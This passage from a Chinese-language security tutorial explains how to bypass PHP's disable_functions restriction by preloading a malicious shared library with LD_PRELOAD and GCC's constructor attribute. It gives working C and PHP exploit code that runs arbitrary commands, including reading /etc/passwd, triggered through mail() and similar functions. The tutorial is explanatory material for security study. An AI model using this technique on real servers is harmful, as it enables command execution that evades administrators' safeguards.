但是上面劫持函数的方法依赖于函数是否可用,使用最多的sendmail有可能目标系统未安装,或者未开启。
如果在加载时就执行代码(拦劫启动进程),而不用考虑劫持某一系统函数,那就可以不依赖 sendmail 。
GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让其修饰的函数在main()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行。
这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为。
用__attribute__((constructor))
写一个函数:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((constructor)) void hack(void){
unsetenv("LD_PRELOAD");
system("echo 'I am hacking'");
}#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__((constructor)) void hack(void){ unsetenv("LD_PRELOAD"); system("echo 'I am hacking'");}
编译之后,用LD_PRELOAD加载生成的so文件来执行命令:

和上面劫持函数不同,这时可以执行任意命令,而不是仅仅局限于调用了geteuid的id命令。
也就是说在 PHP 运行过程中只要有新程序启动,在我们加载恶意动态链接库的条件下,便可以执行 .so 中的恶意代码。
比如 PHP 中经典的 mail() 函数,看看当 PHP 执行 mail() 函数的时候有没有执行程序或者启动新进程
strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"

可以明显发现 mai() 函数使用 execve 启动了 sendmail。
删掉sendmail其实也可以运行,因为实际上真正加载了动态链接库的其实是/bin/sh 的进程,其实可以使用__attribute__((constructor)) ,直接劫持/bin/sh 的库函数即可,方法与上面劫持sendmail一致。用__attribute__((constructor)) 是因为可以不用挑选库函数,方便利用。

编写自定义C函数:
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("**cmd**") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
使用 gcc --share -fPIC bad.c -o bad.so 生成so文件
<?php
putenv("cmd=cat /etc/passwd");
putenv("LD_PRELOAD=./bad.so");
mail('','','','');
?>
运行该 PHP 文件即可成功执行命令,就算没有安装 sendmail 也能成功利用。

如果 mail() 函数无法使用,也可以使用 error_log('',1) 或者 mb_send_mail('','','') 和 imap_mail("1@a.com","0","1","2","3")(如果 PHP 开启了 imap 模块)
调用unsetenv()的原因是:
我们通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD")
这在大部份 linux 发行套件上可行,但在 centos 上却无效,究其原因,centos 自己也 hook 了 unsetenv(),在其内部启动了其他进程,根本来不及删除 LD_PRELOAD 就又被劫持,导致无限循环。
所以,需要找一种比 unsetenv() 更直接的删除环境变量的方式。全局变量 extern char** environ,
实际上unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。
具体利用:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD